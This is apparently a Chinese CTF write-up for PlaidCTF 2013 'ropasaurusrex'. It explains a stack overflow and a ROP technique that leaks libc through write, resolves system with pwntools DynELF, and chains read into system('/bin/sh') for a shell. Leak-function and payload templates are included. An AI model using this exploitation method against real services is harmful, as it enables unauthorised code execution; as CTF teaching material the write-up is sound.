PlaidCTF 2013 ropasaurusrex

1.常规checksec,只开启了一个NX,不能使用shellcode,IDA分析漏洞,程序的sub_80483F4()函数栈溢出:

1
2
3
4
5
#注释头

char buf; // [esp+10h] [ebp-88h]
------------------------------------------------------
return read(0, &buf, 0x100u);

有write函数,没有libc,got表里没有system,也没有int 80h/syscall,没有binsh字符串。

2.这种情况下我们就可以使用DynELF来leaklibc,进而获取system函数在内存中的地址,然后就可以再用read函数来读取字符串。

3.首先编写leak函数,也就是需要调用write函数打印需要泄露的地址

常规的leak函数模式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#注释头

def leak(addr):
payload = ''
payload += 'A'*n #padding
payload += p32(write_addr) #调用write
payload += p32(start_addr) #write返回到start
payload += p32(1) #write第一个参数fd
payload += p32(addr) #write第二个参数buf
payload += p32(8) #write第三个参数size
io.sendline(payload)
content = io.recv()[:8] #接受内容读取通过write打印的地址
print("%#x -> %s" %(addr, (content or '').encode('hex')))
#这里打印不需要也可以,只是可以打印出来让我们看到write打印了什么地址,基本都打印了
return content
#这里return的conten有很多地址,需要通过之后的DynELF来lookup对应的地址

这里的write函数可以换成put或者printf函数,但是如果改变了,那么后面的参数个数也需要发生改变,对应打印函数的形式:

1
2
3
4
5
#注释头

ssize_t write(int fd,const void *buf,size_t count);
int puts(const char *s)
int printf(const char*format, ......);

具体请参考:

https://www.anquanke.com/post/id/85129

4.接下来就需要创建DynELF类来使用

1
2
3
4
5
#注释头

d = DynELF(leak, elf = elf)
#创建DynELF类,传入需要泄露的地址,从elf文件中获取
system_addr = d.lookup('system', 'libc')

5.找到system_addr之后,就可以通过再次利用栈溢出来读取字符串,因为之前write的返回地址已经是最开始的start地址。再次运行到read函数读取第二次的payload,组成为:

1
2
3
4
5
6
7
8
#注释

payload = padding
payload += read_addr #覆盖eip,将sub_80483F4函数的返回地址劫持到read函数)
payload += system_addr #使得read函数的返回地址为system)
payload += p32(fd) #read函数的第一个参数,同时也对应system函数的返回地址
payload += p32(binsh_addr) #read函数读取进binsh的地址,同时也对应system函数的参数
payload += p32(size) #read函数的第三个参数,读取的字符串大小,于system函数无实际意义,但是如果system函数返回了,那么这就是返回之后的eip,下一条执行的代码地址。

6.程序总流程如下:

由于第一段Payload最后write调用后返回到了start,所以又调用sub_80483F4函数,进入读取界面,需要输入第二段payload栈溢出,劫持sub_80483F4函数的返回地址eip为read函数地址,从而进入read函数。之后再次劫持read函数的返回地址为system函数,并且将read的第二个参数,也就是读取进的binsh字符串也传入system函数,从而getshell。

▲call _read函数和直接调用read_plt的区别:

1.call _read函数会push eip,会使得栈中结构从我们原本设置好的:

1
2
3
4
5
6
7
8
#注释头

padding
(call read_addr)_addr
system_addr
fd
binsh_addr
size

变成:

1
2
3
4
5
6
7
8
9
#注释头

padding
(call read_addr)_addr
(call read_addr)_addr下一条指令
system_addr
fd
binsh_addr
size

这个eip没办法改变,因为是call这个指令带来的,这样就会导致在read函数没办法正常读取参数,如果去掉system_addr,又会导致返回到call指令下一条leave要执行时,ebp会指向一个padding,这是在read函数中变成的,从而导致leave指令也出错。

2.但是如果直接调用read_plt,栈中结构为:

1
2
3
4
5
6
7
8
#注释头

padding
read_plt_addr
system_addr
fd
binsh_addr
size

这样Read函数读取完之后,返回时就会直接调用system_addr,完全不用管ebp变成了什么,同时这里也可以直接将binsh_addr传给system,一举两得。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157